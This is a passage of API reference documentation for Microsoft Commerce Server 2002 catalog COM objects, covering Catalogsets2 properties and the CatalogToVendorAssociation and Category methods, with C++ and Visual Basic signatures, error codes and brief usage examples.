[Visual Basic] None.

Return Values

[C++] These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter UnNamedParameter contains valid data only if the property was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


_Catalogsets2::get_UserObjectOrganizationKey, put_UserObjectOrganizationKey Property [C++]

Catalogsets2.UserObjectOrganizationKey Property [Visual Basic]

The UserObjectOrganizationKey property is a read/write String that contains the organization key of the user object. This property defaults to "org_id".

Definition

[C++]

Get method:

HRESULT _Catalogsets2::get_UserObjectOrganizationKey(
  BSTR* UnNamedParameter
);

Put method:

HRESULT _Catalogsets2::put_UserObjectOrganizationKey(
  BSTR UnNamedParameter
);
[Visual Basic]
Property UserObjectOrganizationKey As String

Parameters

[C++]
UnNamedParameter
[in] When putting the property, a BSTR that contains the UserObjectOrganizationKey.
[out, retval] When getting the property, a BSTR used to return the UserObjectOrganizationKey.

[Visual Basic] None.

Return Values

[C++] These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The parameter UnNamedParameter contains valid data only if the property was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic] For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Catalogsets2 Object

[Visual Basic] Catalogsets2 Object


CatalogToVendorAssociation Object [C++]

CatalogToVendorAssociation Object [Visual Basic]

Use this object to associate catalogs with vendors.

ProgID: | Commerce.CatalogToVendorAssociation (Externally creatable)
COM Class Name: | CatalogToVendorAssociation
Type Library Name: | Microsoft Commerce 2002 Catalog Vendor Association Type Library
DLL Name: | CatalogVendorAssociation.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _CatalogToVendorAssociation
Interface ID Constant: | None
Header File: | None
[C++]

In C++, use the _CatalogToVendorAssociation interface to access the properties and methods of the CatalogToVendorAssociation object.

Methods

[C++]
Method | Description
GetVendorInfoForCatalog | Returns information about the vendor associated with the specified catalog.
GetVendorList | Returns a list of vendors available for association with catalogs.
Initialize | Initializes a CatalogToVendorAssociation object by connecting to the appropriate database.
SpecifyVendorForCatalog | Associates the specified vendor and catalog.
UnspecifyVendorForCatalog | Disassociates the specified vendor and catalog.
[Visual Basic]
Method | Description
GetVendorInfoForCatalog | Returns information about the vendor associated with the specified catalog.
GetVendorList | Returns a list of vendors available for association with catalogs.
Initialize | Initializes a CatalogToVendorAssociation object by connecting to the appropriate database.
SpecifyVendorForCatalog | Associates the specified vendor and catalog.
UnspecifyVendorForCatalog | Disassociates the specified vendor and catalog.


_CatalogToVendorAssociation Method [C++]

_CatalogToVendorAssociation Method [Visual Basic]

Methods

[C++]
Method | Description
GetVendorInfoForCatalog | Returns information about the vendor associated with the specified catalog.
GetVendorList | Returns a list of vendors available for association with catalogs.
Initialize | Initializes a CatalogToVendorAssociation object by connecting to the appropriate database.
SpecifyVendorForCatalog | Associates the specified vendor and catalog.
UnspecifyVendorForCatalog | Disassociates the specified vendor and catalog.
[Visual Basic]
Method | Description
GetVendorInfoForCatalog | Returns information about the vendor associated with the specified catalog.
GetVendorList | Returns a list of vendors available for association with catalogs.
Initialize | Initializes a CatalogToVendorAssociation object by connecting to the appropriate database.
SpecifyVendorForCatalog | Associates the specified vendor and catalog.
UnspecifyVendorForCatalog | Disassociates the specified vendor and catalog.


_CatalogToVendorAssociation::GetVendorInfoForCatalog Method [C++]

CatalogToVendorAssociation.GetVendorInfoForCatalog Method [Visual Basic]

Use this method to retrieve information about the vendor associated with the specified catalog.

Definition

[C++]
HRESULT _CatalogToVendorAssociation::GetVendorInfoForCatalog(
  BSTR szCatalogID,
  _Recordset** rsVendorInfo
);
[Visual Basic]
Function GetVendorInfoForCatalog(
  szCatalogID As String
) As Recordset

Parameters

szCatalogID [C++]
[in] A BSTR that contains the ID of the catalog for which vendor information will be returned.
szCatalogID [Visual Basic]
A String that contains the ID of the catalog for which vendor information will be returned.
rsVendorInfo [C++]
[out, retval] The address of a pointer used to return an ADO _Recordset object containing the requested vendor information.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an ADO Recordset object containing the requested vendor information.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The returned ADO RecordSet object will contain valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
set rsVendorInfo = myCatalogToVendorAssociation.GetVendorInfoForCatalog(szCatalogID)

See Also

[C++] CatalogToVendorAssociation Object

[Visual Basic] CatalogToVendorAssociation Object


_CatalogToVendorAssociation::GetVendorList Method [C++]

CatalogToVendorAssociation.GetVendorList Method [Visual Basic]

Use this method to retrieve a list of vendors associated with the passed alias qualifier and value, and associated with the input document name.

Definition

[C++]
HRESULT _CatalogToVendorAssociation::GetVendorList(
  BSTR szSourceAliasQualifier,
  BSTR szSourceAliasValue,
  BSTR szInputDocumentName,
  _Recordset** rsVendorList
);
[Visual Basic]
Function GetVendorList(
  szSourceAliasQualifier As String,
  szSourceAliasValue As String,
  szInputDocumentName As String
) As Recordset

Parameters

szSourceAliasQualifier [C++]
[in] A BSTR that contains the source alias qualifier.
szSourceAliasQualifier [Visual Basic]
A String that contains the source alias qualifier.
szSourceAliasValue [C++]
[in] A BSTR that contains the source alias value.
szSourceAliasValue [Visual Basic]
A String that contains the source alias value.
szInputDocumentName [C++]
[in] A BSTR that contains the input document name.
szInputDocumentName [Visual Basic]
A String that contains the input document name.
rsVendorList [C++]
[out, retval] The address of a pointer used to return an ADO _Recordset object containing the requested list of vendors.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an ADO Recordset object containing the requested list of vendors.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The returned ADO RecordSet object will contain valid data only if the method completed successfully.

Note

  • This method is only available when BizTalk Server is installed. It requires the BizTalKDBInternal object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
set rsVendorList = myCatalogToVendorAssociation.GetVendorList(szSourceAliasQualifier, szSourceAliasValue, szInputDocumentName)

See Also

[C++] CatalogToVendorAssociation Object

[Visual Basic] CatalogToVendorAssociation Object


_CatalogToVendorAssociation::Initialize Method [C++]

CatalogToVendorAssociation.Initialize Method [Visual Basic]

Use this method to initialize a CatalogToVendorAssociation object.

Definition

[C++]
HRESULT _CatalogToVendorAssociation::Initialize(
  BSTR vConnectionString
);
[Visual Basic]
Sub Initialize(
  vConnectionString As String
)

Parameters

vConnectionString [C++]
[in] A BSTR that contains the connection string for the database containing the catalog to vendor associations.
vConnectionString [Visual Basic]
A String that contains the connection string for the database containing the catalog to vendor associations.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
myCatalogToVendorAssociation.Initialize vConnectionString

See Also

[C++] CatalogToVendorAssociation Object

[Visual Basic] CatalogToVendorAssociation Object


_CatalogToVendorAssociation::SpecifyVendorForCatalog Method [C++]

CatalogToVendorAssociation.SpecifyVendorForCatalog Method [Visual Basic]

Use this method to associate a vendor with a particular catalog.

Definition

[C++]
HRESULT _CatalogToVendorAssociation::SpecifyVendorForCatalog(
  BSTR szCatalogID,
  BSTR szVendorQualifier,
  BSTR szVendorQualifierValue,
  BSTR szVendorName
);
[Visual Basic]
Sub SpecifyVendorForCatalog(
  szCatalogID As String,
  szVendorQualifier As String,
  szVendorQualifierValue As String,
  szVendorName As String
)

Parameters

szCatalogID [C++]
[in] A BSTR that contains the identifier of the catalog with which to associated the specified vendors.
szCatalogID [Visual Basic]
A String that contains the identifier of the catalog with which to associated the specified vendors.
szVendorQualifier [C++]
[in] A BSTR that contains the qualifier of the vendor to be associated with the specified catalog.
szVendorQualifier [Visual Basic]
A String that contains the qualifier of the vendor to be associated with the specified catalog.
szVendorQualifierValue [C++]
[in] A BSTR that contains the qualifier value of the vendor to be associated with the specified catalog.
szVendorQualifierValue [Visual Basic]
A String that contains the qualifier value of the vendor to be associated with the specified catalog.
szVendorName [C++]
[in] A BSTR that contains the name of the vendor to be associated with the specified catalog.
szVendorName [Visual Basic]
A String that contains the name of the vendor to be associated with the specified catalog.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
myCatalogToVendorAssociation.SpecifyVendorForCatalog szCatalogID, szVendorQualifier, szVendorQualifierValue, szVendorName

See Also

[C++] CatalogToVendorAssociation Object

[Visual Basic] CatalogToVendorAssociation Object


_CatalogToVendorAssociation::UnspecifyVendorForCatalog Method [C++]

CatalogToVendorAssociation.UnspecifyVendorForCatalog Method [Visual Basic]

Use this method to disassociate a catalog with any previously associated vendors.

Definition

[C++]
HRESULT _CatalogToVendorAssociation::UnspecifyVendorForCatalog(
  BSTR szCatalogID
);
[Visual Basic]
Sub UnspecifyVendorForCatalog(
  szCatalogID As String
)

Parameters

szCatalogID [C++]
[in] A BSTR that contains the identifier of the catalog for which no vendors should be associated.
szCatalogID [Visual Basic]
A String that contains the identifier of the catalog for which no vendors should be associated.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
myCatalogToVendorAssociation.UnspecifyVendorForCatalog szCatalogID

See Also

[C++] CatalogToVendorAssociation Object

[Visual Basic] CatalogToVendorAssociation Object


Category Object [C++]

Category Object [Visual Basic]

Use this object to work with relationships between categories and products. You can also use this object to manipulate parent/child relationships for a category.

ProgID: | Dependent (See Remarks for more information)
COM Class Name: | Category
Type Library Name: | Microsoft Commerce 2002 Catalog Type Library
DLL Name: | Catalog.dll
Threading Model: | Both
[C++]
COM Interface Name: | ICategory3
Interface ID Constant: | IID_ICategory3
Header File: | Catalog.h, mspu_guids.h
[C++]

In C++, use the ICategory3 interface to access the properties and methods of the Category object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
AddChildCategory | Adds another specified category as a child of this category.
AddParentCategory | Adds another specified category as a parent of this category.
AddProduct | Adds another specified product variant as a child of this category.
AddRelationshipToCategory | Adds a relationship from another category to this category.
AddRelationshipToProduct | Adds a relationship from this category to a specified product.
RemoveChildCategory | Removes the specified category as a child of this category.
RemoveParentCategory | Removes the specified category as a parent of this category.
RemoveProduct | Removes a product from this category.
RemoveRelationshipToCategory | Removes the relationship between this category and a specified category.
RemoveRelationshipToProduct | Removes the relationship between this category and a specified product.
Search | Searches product, variant, and category data within the category, its children, the children of the children,and so on.
SetCategoryProperties | Assigns new properties to a category.
SetRelatedCategories | Updates category relationships.
SetRelatedProducts | Updates product relationships.
[Visual Basic]
Method | Description
AddChildCategory | Adds another specified category as a child of this category.
AddParentCategory | Adds another specified category as a parent of this category.
AddProduct | Adds another specified product variant as a child of this category.
AddRelationshipToCategory | Adds a relationship from another category to this category.
AddRelationshipToProduct | Adds a relationship from this category to a specified product.
RemoveChildCategory | Removes the specified category as a child of this category.
RemoveParentCategory | Removes the specified category as a parent of this category.
RemoveProduct | Removes a product from this category.
RemoveRelationshipToCategory | Removes the relationship between this category and a specified category.
RemoveRelationshipToProduct | Removes the relationship between this category and a specified product.
Search | Searches product, variant, and category data within the category, its children, the children of the children,and so on.
SetCategoryProperties | Assigns new properties to a category.
SetRelatedCategories | Updates category relationships.
SetRelatedProducts | Updates product relationships.

Properties

[C++]
Property | Type | Description
AncestorCategories | _Recordset | Contains a recordset of category names that exist anywhere above this category, and that directly or indirectly contain this category in the hierarchy. This property is read-only.
CatalogName | BSTR | Contains the name of the catalog of which this Category object is a member. This property is read-only.
CategoryName | BSTR | Contains the name of this category. This property is read-only.
ChildCategories | _Recordset | Contains a recordset containing the child Category objects for this category. This property is read-only.
DescendantProducts | _Recordset | Contains all products that exist anywhere below this category. Accessing this property on the root category returns every product in the entire catalog. This property is read-only.
GetCategoryProperties | _Recordset | Contains a recordset containing the property values for this category. This property is read-only.
ParentCategories | _Recordset | Contains a recordset containing the names of the Category objects that are parent categories to this category. This property is read-only.
PrimaryParent | BSTR | Contains the primary parent category of this category. This property is read/write.
Products | _Recordset | Contains the products that exist within this category, but not within descendant categories. This property is read-only.
RelatedCategories | _Recordset | Contains a recordset that describes all of the categories and product families that have relationships to this category. This property is read-only.
RelatedProducts | _Recordset | Contains a recordset that describes all the product variants and product families that have relationships to this category. This property is read-only.
[Visual Basic]
Property | Type | Description
AncestorCategories | Recordset | Contains a recordset of category names that exist anywhere above this category, and that directly or indirectly contain this category, in the hierarchy. This property is read-only.
CatalogName | String | Contains the name of the catalog of which this Category object is a member. This property is read-only.
CategoryName | BSTR | Contains the name of this category. This property is read-only.
ChildCategories | Recordset | Contains a recordset containing the child Category objects for this category. This property is read-only.
DescendantProducts | Recordset | Contains all products that exist anywhere below this category. Accessing this property on the root category returns every product in the entire catalog. This property is read-only.
GetCategoryProperties | Recordset | Contains a recordset containing the property values for this category. This property is read-only.
ParentCategories | Recordset | Contains a recordset containing the names of the Category objects that are parent categories to this category. This property is read-only.
PrimaryParent | BSTR | Contains the primary parent category of this category. This property is read/write.
Products | Recordset | Contains the products that exist within this category, but not within descendant categories. This property is read-only.
RelatedCategories | Recordset | Contains a recordset that describes all of the categories and product families that have relationships to this category. This property is read-only.
RelatedProducts | Recordset | Contains a recordset that describes all the product variants and product families that have relationships to this category. This property is read-only.

Remarks

[C++]

The Category object is a dependent object. Obtain a pointer to the ICategory interface by calling one of the following methods:

  • IProductCatalog::CreateCategory
  • IProductCatalog::GetCategory
[Visual Basic]

The Category object is a dependent object. Obtain a reference to it by calling one of the following methods:

  • ProductCatalog.CreateCategory
  • ProductCatalog.GetCategory


ICategory3 Methods [C++]

Category Methods [Visual Basic]

Methods

[C++]
Method | Description
AddChildCategory | Adds another specified category as a child of this category.
AddParentCategory | Adds another specified category as a parent of this category.
AddProduct | Adds another specified product variant as a child of this category.
AddRelationshipToCategory | Adds a relationship from another category to this category.
AddRelationshipToProduct | Adds a relationship from this category to a specified product.
RemoveChildCategory | Removes the specified category as a child of this category.
RemoveParentCategory | Removes the specified category as a parent of this category.
RemoveProduct | Removes a product from this category.
RemoveRelationshipToCategory | Removes the relationship between this category and a specified category.
RemoveRelationshipToProduct | Removes the relationship between this category and a specified product.
Search | Searches product, variant, and category data within the category, its children, the children of the children,and so on.
SetCategoryProperties | Assigns new properties to a category.
SetRelatedCategories | Updates category relationships.
SetRelatedProducts | Updates product relationships.
[Visual Basic]
Method | Description
AddChildCategory | Adds another specified category as a child of this category.
AddParentCategory | Adds another specified category as a parent of this category.
AddProduct | Adds another specified product variant as a child of this category.
AddRelationshipToCategory | Adds a relationship from another category to this category.
AddRelationshipToProduct | Adds a relationship from this category to a specified product.
RemoveChildCategory | Removes the specified category as a child of this category.
RemoveParentCategory | Removes the specified category as a parent of this category.
RemoveProduct | Removes a product from this category.
RemoveRelationshipToCategory | Removes the relationship between this category and a specified category.
RemoveRelationshipToProduct | Removes the relationship between this category and a specified product.
Search | Searches product, variant, and category data within the category, its children, the children of the children,and so on.
SetCategoryProperties | Assigns new properties to a category.
SetRelatedCategories | Updates category relationships.
SetRelatedProducts | Updates product relationships.


ICategory3::AddChildCategory Method [C++]

Category.AddChildCategory Method [Visual Basic]

Use this method to add a category as a child to this category.

Definition

[C++]
HRESULT ICategory3::AddChildCategory(
  BSTR strCategoryName
);
[Visual Basic]
Sub AddChildCategory(
  strCategoryName As String
)

Parameters

strCategoryName [C++]
[in] A BSTR that contains the name of the category to be added as a child to this category.
strCategoryName [Visual Basic]
A String that contains the name of the category to be added as a child to this category.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C++] 0x889800F8 [Visual Basic] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_CATEG_LENGTH | [C++] 0x88980047 [Visual Basic] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_INVALID_RELATION | [C++] 0x88980039 [Visual Basic] &H88980039 | An invalid relation is specified. Self relations are not supported.
E_CAT_INVALID_CHILDCATEGORY | [C++] 0x8898005D [Visual Basic] &H8898005D | An invalid relationship has been specified. The category that you specified already exists as a parent of this category.
E_CAT_CATEGORY_ALREADY_ADDED | [C++] 0x8898002D [Visual Basic] &H8898002D | The category you specified is already added.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCategory.AddChildCategory "shirts"

See Also

[C++] Category Object

[C++] ICategory3::AddParentCategory

[C++] ICategory3::RemoveChildCategory

[Visual Basic] Category Object

[Visual Basic] Category.AddParentCategory

[Visual Basic] Category.RemoveChildCategory


ICategory3::AddParentCategory Method [C++]

Category.AddParentCategory Method [Visual Basic]

Use this method to add the specified category as a parent of this category.

Definition

[C++]
HRESULT ICategory3::AddParentCategory(
  BSTR strCategoryName
);
[Visual Basic]
Sub AddParentCategory(
  strCategoryName As String
)

Parameters

strCategoryName [C++]
[in] A BSTR that contains the name of the category to be added as a parent to this category.
strCategoryName [Visual Basic]
A String that contains the name of the category to be added as a parent to this category.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C++] 0x889800F8 [Visual Basic] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_CATEG_LENGTH | [C++] 0x88980047 [Visual Basic] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_INVALID_RELATION | [C++] 0x88980039 [Visual Basic] &H88980039 | An invalid relation is specified. Self relations are not supported.
E_CAT_CATEGORY_ALREADY_ADDED | [C++] 0x8898002D [Visual Basic] &H8898002D | The category you specified is already added.
E_CAT_PARENT_CAT_EXISTS_AS_CHILD | [C++] 0x88980052 [Visual Basic] &H88980052 | The category that you specified as a Parent category already exists as a child category for this category.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCategory.AddParentCategory "Apparel"

See Also

[C++] Category Object

[C++] ICategory3::AddChildCategory

[C++] ICategory3::RemoveParentCategory

[Visual Basic] Category Object

[Visual Basic] Category.AddChildCategory

[Visual Basic] Category.RemoveParentCategory


ICategory3::AddProduct Method [C++]

Category.AddProduct Method [Visual Basic]

Use this method to add the specified product to this category.

Definition

[C++]
HRESULT ICategory3::AddProduct(
  VARIANT varProductID
);
[Visual Basic]
Sub AddProduct(
  varProductID As Variant
)

Parameters

varProductID [C++]
[in] A VARIANT that contains the product ID of the product to be added.
varProductID [Visual Basic]
A Variant that contains the product ID of the product to be added.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C++] 0x889800F8 [Visual Basic] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_PRODUCTID | [C++] 0x8898005B [Visual Basic] &H8898005B | The value you specified for the ProductID is blank or else it exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C++] 0x8898004E [Visual Basic] &H8898004E | The value you specified for the ProductID is either out of range or else it does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.
E_CAT_PRODUCT_ALREADY_ADDED | [C++] 0x88980029 [Visual Basic] &H88980029 | The product you specified is already present in this category.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

A product may exist in multiple categories simultaneously, without limit.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCategory.AddProduct "SKU4005"

See Also

[C++] Category Object

[C++] ICategory3::RemoveProduct

[Visual Basic] Category Object

[Visual Basic] Category.RemoveProduct


ICategory3::AddRelationshipToCategory Method [C++]

Category.AddRelationshipToCategory Method [Visual Basic]

Use this method to add a relationship from this category to another specified category.

Definition

[C++]
HRESULT ICategory3::AddRelationshipToCategory(
  BSTR strRelatedCategoryName,
  BSTR strRelationshipName,
  VARIANT strRelationshipDescription,
  BSTR strCatalogName
);
[Visual Basic]
Sub AddRelationshipToCategory(
  strRelatedCategoryName As String,
  strRelationshipName As String,
  Optional strRelationshipDescription As Variant,
  Optional strCatalogName As String
)

Parameters

strRelatedCategoryName [C++]
[in] A BSTR that contains the name of the category to which a relationship is to be added.
strRelatedCategoryName [Visual Basic]
A String that contains the name of the category to which a relationship is to be added.
strRelationshipName [C++]
[in] A BSTR that contains a name for the relationship.
strRelationshipName [Visual Basic]
A String that contains a name for the relationship.
strRelationshipDescription [C++]
[in, optional] A VARIANT of sub type String that contains an optional description for the relationship.
strRelationshipDescription [Visual Basic]
A Variant of sub type String that contains an optional description for the relationship.
strCatalogName [C++]
[in, optional] A BSTR that contains the name of the catalog that contains the related category.
strCatalogName [Visual Basic]
A String that contains the name of the catalog that contains the related category.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Constant
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C++] 0x889800F8 [Visual Basic] &H889800F8 | E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY
E_CAT_CATALOG_DOESNT_EXIST | [C++] 0x88980002 [Visual Basic] &H88980002 | E_CAT_CATALOG_DOESNT_EXIST
E_CAT_INVALID_CATALOGNAME | [C++] 0x88980063 [Visual Basic] &H88980063 | E_CAT_INVALID_CATALOGNAME
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x88980042 [Visual Basic] &H88980042 | E_CAT_INVALID_CATALOG_NAME_LENGTH
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | E_CAT_CHARACTER_NOT_ALLOWED

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

A relationship must be given a name and may optionally be given a description. The description can include information that describes the nature of the relationship between the categories (for example, an "accessory" or "add-on"). Relationships are one way, that is, if category A has a relationship to category B, that does not create a reciprocal relationship from category B to category A.

When multiple relationships are created between the same two categories, each relationship must have a unique name.

If the strCatalogName parameter is empty or not supplied, then the catalog specified in the CatalogName property of this category is assumed.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCategory.AddRelationshipToCategory "Apparel", "Accessory", "This would go great with that!"

See Also

[C++] Category Object

[C++] ICategory3::RemoveRelationshipToCategory

